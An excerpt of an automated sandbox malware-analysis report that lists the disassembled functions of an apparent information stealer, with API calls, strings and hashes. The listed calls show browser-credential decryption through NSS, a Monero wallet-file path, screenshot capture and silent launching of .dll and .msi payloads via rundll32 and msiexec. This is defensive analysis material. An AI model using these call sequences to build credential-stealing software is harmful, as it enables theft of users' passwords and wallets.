String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 18e4d707d51c764b82d4f34282168d8b9f52202c8a7bb1c51cb8e55f3019c1f9
Instruction ID: 535f058d6792b7de3edea2e4f5962aaea0e5cee70f60b41b686f99496eaa5712
Opcode Fuzzy Hash: 18e4d707d51c764b82d4f34282168d8b9f52202c8a7bb1c51cb8e55f3019c1f9
Instruction Fuzzy Hash: BF5187C5B0D32552FA0032196F11BBE1875EB5728EF30447AED29B5F80FB25A60B85B7

Function 6CE84470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE84730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CE844B2,6CEFE21C,6CEFF7F8), ref: 6CE8473E
Part of subcall function 6CE84730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CE8474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CE844BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CE844D2
InitOnceExecuteOnce.KERNEL32(6CEFF80C,6CE7F240,?,?), ref: 6CE8451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CE8455C
LoadLibraryW.KERNEL32(?), ref: 6CE84592
InitializeCriticalSection.KERNEL32(6CEFF770), ref: 6CE845A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CE845AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CE845BB
InitOnceExecuteOnce.KERNEL32(6CEFF818,6CE7F240,?,?), ref: 6CE84612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CE84636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CE84644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CE8466D
VerSetConditionMask.NTDLL ref: 6CE8469F
VerSetConditionMask.NTDLL ref: 6CE846AB
VerSetConditionMask.NTDLL ref: 6CE846B2
VerSetConditionMask.NTDLL ref: 6CE846B9
VerSetConditionMask.NTDLL ref: 6CE846C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CE846CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CE846F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CE846FD

Strings

WRusr.dll, xrefs: 6CE844B5
NativeNtBlockSet_Write, xrefs: 6CE846F7
l, xrefs: 6CE84578
user32.dll, xrefs: 6CE84557, 6CE8463F
kernel32.dll, xrefs: 6CE844CD
Gl, xrefs: 6CE844FC

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2555916485
Opcode ID: 9b437b319fde5c6f393a6cf9d63aac957ec6bbb97c10d21a3e0313a63a22637c
Instruction ID: 26558e035910ec9403c87eceadf7b26c7b4d50968609e496861e305fdd57077a
Opcode Fuzzy Hash: 9b437b319fde5c6f393a6cf9d63aac957ec6bbb97c10d21a3e0313a63a22637c
Instruction Fuzzy Hash: F46137B1A013889FEB008F60DC46B95BBFCEF86308F24855AE5289B781D3799946CF51

Function 0052C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0052C9A5

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,0108D258,00000000,?,0054144C,00000000,?,?), ref: 0052CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0052CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0052CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0052CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0052CAD9
StrStrA.SHLWAPI(?,0108D318,00540B52), ref: 0052CAF7
StrStrA.SHLWAPI(00000000,0108D2E8), ref: 0052CB1E
StrStrA.SHLWAPI(?,0108DCC8,00000000,?,00541458,00000000,?,00000000,00000000,?,01088B28,00000000,?,00541454,00000000,?), ref: 0052CCA2
StrStrA.SHLWAPI(00000000,0108E068), ref: 0052CCB9

Part of subcall function 0052C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0052C871
Part of subcall function 0052C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0052C87C
Part of subcall function 0052C820: PK11_GetInternalKeySlot.NSS3 ref: 0052C88A
Part of subcall function 0052C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0052C8A5
Part of subcall function 0052C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0052C8EB
Part of subcall function 0052C820: PK11_FreeSlot.NSS3(?), ref: 0052C961

StrStrA.SHLWAPI(?,0108E068,00000000,?,0054145C,00000000,?,00000000,01088AC8), ref: 0052CD5A
StrStrA.SHLWAPI(00000000,01088A08), ref: 0052CD71

Part of subcall function 0052C820: lstrcat.KERNEL32(?,00540B46), ref: 0052C943
Part of subcall function 0052C820: lstrcat.KERNEL32(?,00540B47), ref: 0052C957
Part of subcall function 0052C820: lstrcat.KERNEL32(?,00540B4E), ref: 0052C978

lstrlen.KERNEL32(00000000), ref: 0052CE44
CloseHandle.KERNEL32(00000000), ref: 0052CE9C
NSS_Shutdown.NSS3 ref: 0052CEAA

Strings

, xrefs: 0052C9C6

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: 720a8004ec7619317650724a54eed4d8a064347f459057ffd5586f563d69e383
Instruction ID: 6482a52b68c666b415ed9a07ab01d56c1368dc2c3503363747c77bd010630714
Opcode Fuzzy Hash: 720a8004ec7619317650724a54eed4d8a064347f459057ffd5586f563d69e383
Instruction Fuzzy Hash: 29E10A72800109ABDB15EBA0DC9AFEEBB78BF94300F004159F14677191EF746A4ACF66

Function 6CE89590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE731C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CE73217
Part of subcall function 6CE731C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CE73236
Part of subcall function 6CE731C0: FreeLibrary.KERNEL32 ref: 6CE7324B
Part of subcall function 6CE731C0: __Init_thread_footer.LIBCMT ref: 6CE73260
Part of subcall function 6CE731C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CE7327F
Part of subcall function 6CE731C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CE7328E
Part of subcall function 6CE731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CE732AB
Part of subcall function 6CE731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CE732D1
Part of subcall function 6CE731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CE732E5
Part of subcall function 6CE731C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CE732F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CE89675
__Init_thread_footer.LIBCMT ref: 6CE89697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CE896E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CE89707
__Init_thread_footer.LIBCMT ref: 6CE8971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CE89773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CE897B7
FreeLibrary.KERNEL32 ref: 6CE897D0
FreeLibrary.KERNEL32 ref: 6CE897EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CE89824

Strings

NtMapViewOfSection, xrefs: 6CE89701
MapViewOfFileNuma2, xrefs: 6CE897B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CE89670
ntdll.dll, xrefs: 6CE896E3

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: d63f29fe78fd82b6e436998ffe8daf89f31051fc88fdb6fb822edad928558ebc
Instruction ID: 164d5e910af25552ef6c7a19363c454c18c0ee4b3c354fa1c573bdb4e4491917
Opcode Fuzzy Hash: d63f29fe78fd82b6e436998ffe8daf89f31051fc88fdb6fb822edad928558ebc
Instruction Fuzzy Hash: 7061D671B013059FDF00CFA4E884B9ABBF5EBCA318F204529E92997B80D735A845CB91

Function 00539010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0053906C

Strings

image/jpeg, xrefs: 00539136

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 2aa057fd7b6149970a34dafd95ded716c535cddb89c49a6499654d8b14bc11a5
Instruction ID: e52f7f13cdf3891c2552905f2eb40a64e4922d814677acf2fc39980f2c53f3cf
Opcode Fuzzy Hash: 2aa057fd7b6149970a34dafd95ded716c535cddb89c49a6499654d8b14bc11a5
Instruction Fuzzy Hash: DB71C0B5910209BBDB04DBE4DC89FDEBBB9BF88700F148508F516A7290DB78A905CF65

Function 6CECD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CECD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CECD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CECD52A
GetCurrentThreadId.KERNEL32 ref: 6CECD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CECD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CECD55F
free.MOZGLUE(00000000), ref: 6CECD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CECD5D3
GetCurrentThreadId.KERNEL32 ref: 6CECD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CECD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CECD652
GetCurrentThreadId.KERNEL32 ref: 6CECD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CECD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CECD6A2

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 90db51b9ef5075a3d7721c0534f58cb18ed28c0591a1f6cb6d90b173c56e9041
Instruction ID: 63cf1619f14c3246d8d01a27804dbeb1171dc9b8b73828c234f5fa71040880c5
Opcode Fuzzy Hash: 90db51b9ef5075a3d7721c0534f58cb18ed28c0591a1f6cb6d90b173c56e9041
Instruction Fuzzy Hash: C5516D75A04709DFC704DF34D884A9ABBF4FF89318F10862EE96A87711DB31A945CB92

Function 005317A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 005317C5
ExitProcess.KERNEL32 ref: 005317D1

Strings

block, xrefs: 005317B7

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: c1ad6bc1e84d2c09e29299f4b9306bb13355920153add504cc78134af5c98295
Instruction ID: ec610029c986c12c26c125bc386409f2e3a91e1967c5e43ff1afd2ec60c446ef
Opcode Fuzzy Hash: c1ad6bc1e84d2c09e29299f4b9306bb13355920153add504cc78134af5c98295
Instruction Fuzzy Hash: 355178B5A0420AEFCB04DFA4D958FBE7BB5BF44304F108448E906AB280D774ED55CB6A

Function 00532E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

ShellExecuteEx.SHELL32(0000003C), ref: 005331C5
ShellExecuteEx.SHELL32(0000003C), ref: 0053335D
ShellExecuteEx.SHELL32(0000003C), ref: 005334EA

Strings

C:\Windows\system32\rundll32.exe, xrefs: 00533332
"" , xrefs: 0053309A
/i ", xrefs: 005333E4
C:\Windows\system32\msiexec.exe, xrefs: 005334BF
<, xrefs: 00533490
/passive, xrefs: 0053345B
.dll, xrefs: 005331E5
.msi, xrefs: 00533398

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: b6d5fcc35fb8ba553bc9b09f25be07ba799b68c72523d913b9c031e8bcb41a9f
Instruction ID: 8d616abbcfb516af8d79177a6c90e695315b8df650f1e76d37dc20120e09d47d
Opcode Fuzzy Hash: b6d5fcc35fb8ba553bc9b09f25be07ba799b68c72523d913b9c031e8bcb41a9f
Instruction Fuzzy Hash: D2121172810109AADB09FBA0DC9AFEDBB38BF94300F504159F54676195EF742B4ACF92

Function 6CEBEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CE84A68), ref: 6CEB945E
Part of subcall function 6CEB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CEB9470
Part of subcall function 6CEB9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CEB9482
Part of subcall function 6CEB9420: __Init_thread_footer.LIBCMT ref: 6CEB949F

GetCurrentThreadId.KERNEL32 ref: 6CEBEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CEBEC8C

Part of subcall function 6CEB94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CEB94EE
Part of subcall function 6CEB94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CEB9508

GetCurrentThreadId.KERNEL32 ref: 6CEBECA1
AcquireSRWLockExclusive.KERNEL32(6CEFF4B8), ref: 6CEBECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6CEBECC5
ReleaseSRWLockExclusive.KERNEL32(6CEFF4B8), ref: 6CEBED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CEBED19
CloseHandle.KERNEL32(?), ref: 6CEBED28
free.MOZGLUE(00000000), ref: 6CEBED2F
ReleaseSRWLockExclusive.KERNEL32(6CEFF4B8), ref: 6CEBED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6CEBEC94

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
